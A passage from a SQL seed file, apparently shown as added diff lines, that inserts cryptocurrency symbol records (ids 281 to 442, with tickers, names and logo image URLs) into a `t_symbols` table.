INTO `t_symbols` VALUES (281, 'request-network', 'REQ', 'Request', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/request-network.png', NULL); +INSERT INTO `t_symbols` VALUES (282, 'yottacoin', 'YTA', 'YottaChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yottacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (283, 'singularitynet', 'AGI', 'SingularityNET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitynet.png', NULL); +INSERT INTO `t_symbols` VALUES (284, 'nkn', 'NKN', 'NKN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nkn.png', NULL); +INSERT INTO `t_symbols` VALUES (285, 'vethor-token', 'VTHO', 'VeThor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vethor-token.png', NULL); +INSERT INTO `t_symbols` VALUES (286, 'gulden', 'MUNT', 'MUNT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gulden.png', NULL); +INSERT INTO `t_symbols` VALUES (287, 'bancor', 'BNT', 'Bancor Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancor.png', NULL); +INSERT INTO `t_symbols` VALUES (288, 'dero', 'DERO', 'Dero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dero.png', NULL); +INSERT INTO `t_symbols` VALUES (289, 'merit-circle', 'MC', 'Merit Circle', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merit-circle.png', NULL); +INSERT INTO `t_symbols` VALUES (290, 'power-ledger', 'POWR', 'Power Ledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/power-ledger.png', NULL); +INSERT INTO `t_symbols` VALUES (291, 'function-x', 'FX', 'Function X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/function-x.png', NULL); +INSERT INTO `t_symbols` VALUES (292, 'everipedia', 'IQ', 'IQ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everipedia.png', NULL); +INSERT INTO `t_symbols` VALUES (293, 'hubii-network', 'HBT', 'Hubii Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/hubiinetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (294, 'hunt-token', 'HUNT', 'Hunt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hunt-token.png', NULL); +INSERT INTO `t_symbols` VALUES (295, 'mdex', 'MDX', 'Mdex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdex.png', NULL); +INSERT INTO `t_symbols` VALUES (296, 'humanscape', 'HUM', 'Humanscape', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/humanscape.png', NULL); +INSERT INTO `t_symbols` VALUES (297, 'certik', 'CTK', 'Shentu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/temp/64c45531-6b6a-4f37-81a6-0d3cff6caf12___76-TJuSm_400x400.png', NULL); +INSERT INTO `t_symbols` VALUES (298, 'tnccoin', 'TNC', 'TNC Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tnccoin.png', NULL); +INSERT INTO `t_symbols` VALUES (299, 'cvault-finance', 'CORE', 'cVault.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cvault-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (300, 'airwire', 'WIRE', 'AirWire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/airwire.jpg', NULL); +INSERT INTO `t_symbols` VALUES (301, 'coti', 'COTI', 'COTI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/593df91f663ae2ea67a25f1fe28f7b90.jpg', NULL); +INSERT INTO `t_symbols` VALUES (302, 'quarkchain', 'QKC', 'QuarkChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quarkchain.png', NULL); +INSERT INTO `t_symbols` VALUES (303, 'yaxis', 'YAXIS', 'yAxis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yaxis.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (304, 'gfxfun', 'GFX', 'gfxfun', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gfx.png', NULL); +INSERT INTO `t_symbols` VALUES (305, 'venus', 'XVS', 'Venus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/venus.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (306, 'verasity', 'VRA', 'Verasity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verasity.jpg', NULL); +INSERT INTO `t_symbols` VALUES (307, 'kyber-network', 'KNC', 'Kyber Network Crystal Legacy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyber-network.png', NULL); +INSERT INTO `t_symbols` VALUES (308, 'covalent', 'CQT', 'Covalent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/covalent.jpg', NULL); +INSERT INTO `t_symbols` VALUES (309, 'dusk-network', 'DUSK', 'DUSK Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dusk-network.png', NULL); +INSERT INTO `t_symbols` VALUES (310, 'celsius', 'CEL', 'Celsius Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/celsius.jpg', NULL); +INSERT INTO `t_symbols` VALUES (311, 'ultra', 'UOS', 'Ultra', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/1c7ea6b85e2c15aaba995984ec466d65.png', NULL); +INSERT INTO `t_symbols` VALUES (312, 'beta-finance', 'BETA', 'Beta Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beta-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (313, 'mcdex', 'MCB', 'MUX Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcdex.png', NULL); +INSERT INTO `t_symbols` VALUES (314, 'consensus', 'SEN', 'Consensus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/consensus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (315, 'spell-token', 'SPELL', 'Spell', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spell-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (316, 'lcx', 'LCX', 'LCX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (317, 'mobox', 'MBOX', 'Mobox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobox.png', NULL); +INSERT INTO `t_symbols` VALUES (318, 'susd', 'SUSD', 'sUSD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/susd.png', NULL); +INSERT INTO `t_symbols` VALUES (319, 'mainframe', 'MFT', 'Hifi Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mainframe.png', NULL); +INSERT INTO `t_symbols` VALUES (320, 'qualified-quality-block', 'QQB', 'QQB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qualified-quality-block.png', NULL); +INSERT INTO `t_symbols` VALUES (321, 'maple-finance', 'MPL', 'Maple', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maple-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (322, 'mercury-protocol', 'GMT', 'Mercury Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mercuryprotocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (323, 'idextools', 'DEXT', 'DEXTools', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idextools.png', NULL); +INSERT INTO `t_symbols` VALUES (324, 'sun-token-new', 'SUN', 'Sun Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sun-token-new.png', NULL); +INSERT INTO `t_symbols` VALUES (325, 'my-neighbor-alice', 'ALICE', 'MyNeighborAlice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/my-neighbor-alice.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (326, 'bifrost', 'BFC', 'Bifrost', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bifrost.png', NULL); +INSERT INTO `t_symbols` VALUES (327, 'phala', 'PHA', 'Phala Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phala.png', NULL); +INSERT INTO `t_symbols` VALUES (328, 'coin98', 'C98', 'Coin98', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin98.png', NULL); +INSERT INTO `t_symbols` VALUES (329, 'rialto', 'XRL', 'Rialto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rialto.png', NULL); +INSERT INTO `t_symbols` VALUES (330, 'creditcoin', 'CTC', 'Creditcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/creditcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (331, 'verus-coin', 'VRSC', 'Verus Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/verus-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (332, 'ceek-vr', 'CEEK', 'CEEK Smart VR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ceek-vr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (333, 'serum', 'SRM', 'Serum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/serum.png', NULL); +INSERT INTO `t_symbols` VALUES (334, 'telos-blockchain-network', 'TLOS', 'Telos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/telos-blockchain-network.png', NULL); +INSERT INTO `t_symbols` VALUES (335, 'xyo-network', 'XYO', 'XYO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xyo-network.png', NULL); +INSERT INTO `t_symbols` VALUES (336, 'truefi', 'TRU', 'TrueFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truefi.png', NULL); +INSERT INTO `t_symbols` VALUES (337, 'pocketnetwork', 'POKT', 'Pocket Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pocketnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (338, 'mobilecoin', 'MOB', 'MobileCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobilecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (339, 'bitmax-token', 'ASD', 'AscendEx Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmax-token.png', NULL); +INSERT INTO `t_symbols` VALUES (340, 'avinoc', 'AVINOC', 'AVINOC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/avinoc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (341, 'boba-network', 'BOBA', 'Boba Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boba-network.png', NULL); +INSERT INTO `t_symbols` VALUES (342, 'bhex-token', 'BHT', 'BHEX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bhex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (343, 'bytom', 'BTM', 'Bytom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytom.png', NULL); +INSERT INTO `t_symbols` VALUES (344, 'moviebloc', 'MBL', 'MovieBloc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moviebloc.png', NULL); +INSERT INTO `t_symbols` VALUES (345, 'storm', 'STMX', 'StormX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storm.png', NULL); +INSERT INTO `t_symbols` VALUES (346, 'flexacoin', 'FXC', 'Flexacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flexacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (347, 'funfair', 'FUN', 'FUN Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/funfair.png', NULL); +INSERT INTO `t_symbols` VALUES (348, 'wazirx', 'WRX', 'WazirX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/wazirx.png', NULL); +INSERT INTO `t_symbols` VALUES (349, 'pirate-chain', 'ARRR', 'Pirate Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pirate-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (350, 'aergo', 'AERGO', 'Aergo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aergo.png', NULL); +INSERT INTO `t_symbols` VALUES (351, 'morpheus-network', 'MNW', 'Morpheus Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpheus-network.png', NULL); +INSERT INTO `t_symbols` VALUES (352, 'dodo', 'DODO', 'DODO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dodo.png', NULL); +INSERT INTO `t_symbols` VALUES (353, 'ark', 'ARK', 'Ark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ark.png', NULL); +INSERT INTO `t_symbols` VALUES (354, 'aurora-dao', 'IDEX', 'IDEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (355, 'usdk', 'USDK', 'USDK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/usdk.png', NULL); +INSERT INTO `t_symbols` VALUES (356, 'qcash', 'QC', 'Qcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qcash.png', NULL); +INSERT INTO `t_symbols` VALUES (357, 'hyperion', 'HYN', 'Hyperion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyperion.png', NULL); +INSERT INTO `t_symbols` VALUES (358, 'uquid-coin', 'UQC', 'Uquid Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uquid-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (359, 'origin-protocol', 'OGN', 'Origin Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origin-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (360, 'bella-protocol', 'BEL', 'Bella Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bella-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (361, 'dash-diamond', 'DASHD', 'Dash Diamond', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dash-diamond.png', NULL); +INSERT INTO `t_symbols` VALUES (362, 'badger-dao', 'BADGER', 'Badger DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badger-dao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (363, 'dune', 'DUN', 'Dune Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dune.png', NULL); +INSERT INTO `t_symbols` VALUES (364, 'aog', 'AOG', 'smARTOFGIVING', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aog.jpg', NULL); +INSERT INTO `t_symbols` VALUES (365, 'safe', 'SAFE', 'Safe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe.png', NULL); +INSERT INTO `t_symbols` VALUES (366, 'meta', 'META', 'Metadium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meta.png', NULL); +INSERT INTO `t_symbols` VALUES (367, 'aavegotchi', 'GHST', 'Aavegotchi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aavegotchi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (368, 'marlin', 'POND', 'Marlin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marlin.png', NULL); +INSERT INTO `t_symbols` VALUES (369, 'augur', 'REP', 'Augur', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/augur.png', NULL); +INSERT INTO `t_symbols` VALUES (370, 'electroneum', 'ETN', 'Electroneum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/electroneum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (371, 'alien-worlds', 'TLM', 'Alien Worlds', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alien-worlds.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (372, 'rally-2', 'RLY', 'Rally', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rally-2.png', NULL); +INSERT INTO `t_symbols` VALUES (373, 'storj', 'STORJ', 'Storj', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/storj.png', NULL); +INSERT INTO `t_symbols` VALUES (374, 'radio-caca', 'RACA', 'Radio Caca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radio-caca.png', NULL); +INSERT INTO `t_symbols` VALUES (375, 'hxro', 'HXRO', 'Hxro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hxro.png', NULL); +INSERT INTO `t_symbols` VALUES (376, 'stox', 'STX', 'Stox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stox.png', NULL); +INSERT INTO `t_symbols` VALUES (377, 'selfkey', 'KEY', 'SelfKey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/selfkey.png', NULL); +INSERT INTO `t_symbols` VALUES (378, 'ethos', 'VGX', 'Voyager VGX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethos.png', NULL); +INSERT INTO `t_symbols` VALUES (379, 'ethlend', 'LEND', 'Aave [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethlend.png', NULL); +INSERT INTO `t_symbols` VALUES (380, 'veritaseum', 'VERI', 'Veritaseum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veritaseum.png', NULL); +INSERT INTO `t_symbols` VALUES (381, 'reef-finance', 'REEF', 'Reef', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reef-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (382, 'wanchain', 'WAN', 'Wanchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wanchain.png', NULL); +INSERT INTO `t_symbols` VALUES (383, 'loom-network', 'LOOMOLD', 'Loom Network (OLD)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loom-network.png', NULL); +INSERT INTO `t_symbols` VALUES (384, 'meter', 'MTRG', 'Meter Governance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meter.png', NULL); +INSERT INTO `t_symbols` VALUES (385, 'adventure-gold', 'AGLD', 'Adventure Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adventure-gold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (386, 'bitmart-token', 'BMX', 'BitMart Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitmart-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (387, 'perpetual-protocol', 'PERP', 'Perpetual Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/perpetual-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (388, 'keeperdao', 'ROOK', 'Rook', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/keeperdao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (389, 'looksrare', 'LOOKS', 'LooksRare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/looksrare.png', NULL); +INSERT INTO `t_symbols` VALUES (390, 'utrust', 'UTK', 'Utrust', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utrust.png', NULL); +INSERT INTO `t_symbols` VALUES (391, 'biswap', 'BSW', 'Biswap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/biswap.png', NULL); +INSERT INTO `t_symbols` VALUES (392, 'deviantcoin', 'DEV', 'Deviant Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deviantcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (393, 'chainge', 'CHNG', 'Chainge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainge.png', NULL); +INSERT INTO `t_symbols` VALUES (394, 'crown', 'CRW', 'Crown', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crown.png', NULL); +INSERT INTO `t_symbols` VALUES (395, 'thundercore', 'TT', 'ThunderCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thundercore.png', NULL); +INSERT INTO `t_symbols` VALUES (396, 'flamingo-finance', 'FLM', 'Flamingo Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flamingo-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (397, 'moonriver', 'MOVR', 'Moonriver', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonriver.png', NULL); +INSERT INTO `t_symbols` VALUES (398, 'mines-of-dalarnia', 'DAR', 'Mines of Dalarnia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mines-of-dalarnia.png', NULL); +INSERT INTO `t_symbols` VALUES (399, 'seedify-fund', 'SFUND', 'Seedify.fund', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedify-fund.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (400, 'velas', 'VLX', 'Velas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/velas.png', NULL); +INSERT INTO `t_symbols` VALUES (401, 'sportx', 'SX', 'SX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sportx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (402, 'irisnet', 'IRIS', 'IRISnet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/irisnet.png', NULL); +INSERT INTO `t_symbols` VALUES (403, 'automata', 'ATA', 'Automata', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/automata.png', NULL); +INSERT INTO `t_symbols` VALUES (404, 'raydium', 'RAY', 'Raydium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raydium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (405, 'earthcoin', 'EAC', 'Earthcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earthcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (406, 'soarcoin', 'SOAR', 'Soarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/soarcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (407, 'komodo', 'KMD', 'Komodo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/komodo.png', NULL); +INSERT INTO `t_symbols` VALUES (408, 'monaco', 'MCO', 'MCO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monaco.png', NULL); +INSERT INTO `t_symbols` VALUES (409, 'superfarm', 'SUPER', 'SuperVerse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superfarm.png', NULL); +INSERT INTO `t_symbols` VALUES (410, 'bloktopia', 'BLOK', 'Bloktopia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloktopia.png', NULL); +INSERT INTO `t_symbols` VALUES (411, 'tpt', 'TPT', 'TokenPocket Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tpt.png', NULL); +INSERT INTO `t_symbols` VALUES (412, 'yfii-finance', 'YFII', 'DFI.money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfii-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (413, 'deus-finance', 'DEUS', 'DEUS Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deus-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (414, 'mxc', 'MXC', 'MXC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (415, 'icc', 'ICC', 'ICC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icc.png', NULL); +INSERT INTO `t_symbols` VALUES (416, 'burst', 'BURST', 'Burst', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/burst.png', NULL); +INSERT INTO `t_symbols` VALUES (417, 'orchid', 'OXT', 'Orchid Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orchid.png', NULL); +INSERT INTO `t_symbols` VALUES (418, 'beefy-finance', 'BIFI', 'Beefy Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beefy-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (419, 'e-dinar-coin', 'EDR', 'E-Dinar Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-dinar-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (420, 'bec', 'BEC', 'Beauty Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bec.png', NULL); +INSERT INTO `t_symbols` VALUES (421, 'polkastarter', 'POLS', 'Polkastarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polkastarter.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (422, 'dashcash', 'DSC', 'Dash Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dashcash.png', NULL); +INSERT INTO `t_symbols` VALUES (423, 'cortex', 'CTXC', 'Cortex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cortex.png', NULL); +INSERT INTO `t_symbols` VALUES (424, 'yield-guild-games', 'YGG', 'Yield Guild Games', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-guild-games.png', NULL); +INSERT INTO `t_symbols` VALUES (425, 'carry', 'CRE', 'Carry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carry.png', NULL); +INSERT INTO `t_symbols` VALUES (426, 'aion', 'AION', 'Aion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aion.png', NULL); +INSERT INTO `t_symbols` VALUES (427, 'elastos', 'ELA', 'Elastos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/elastos.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (428, 'phx', 'PHB', 'Phoenix Global', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-pulse.png', NULL); +INSERT INTO `t_symbols` VALUES (429, 'singularitydao', 'SDAO', 'SingularityDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitydao.png', NULL); +INSERT INTO `t_symbols` VALUES (430, 'monacoin', 'MONA', 'MonaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (431, 'groestlcoin', 'GRS', 'Groestlcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/groestlcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (432, 'klever', 'KLV', 'Klever', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/klever.png', NULL); +INSERT INTO `t_symbols` VALUES (433, 'mossland', 'MOC', 'Mossland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mossland.jpg', NULL); +INSERT INTO `t_symbols` VALUES (434, 'measurable-data-token', 'MDT', 'Measurable Data Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/measurable-data-token.png', NULL); +INSERT INTO `t_symbols` VALUES (435, 'lto-network', 'LTO', 'LTO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lto-network.png', NULL); +INSERT INTO `t_symbols` VALUES (436, 'kimchi-finance', 'KIMCHI', 'KIMCHI.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kimchi-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (437, 'reserve-protocol-token', 'RSV', 'Reserve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reserve-protocol-token.png', NULL); +INSERT INTO `t_symbols` VALUES (438, 'acala-token', 'ACA', 'Acala', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acala-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (439, 'litentry', 'LIT', 'Litentry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litentry.png', NULL); +INSERT INTO `t_symbols` VALUES (440, 'superrare', 'RARE', 'SuperRare', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/superrare.png', NULL); +INSERT INTO `t_symbols` VALUES (441, 'firmachain', 'FCT', 'Firmachain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firmachain.png', NULL); +INSERT INTO `t_symbols` VALUES (442, 'verge', 'XVG', 'Verge', 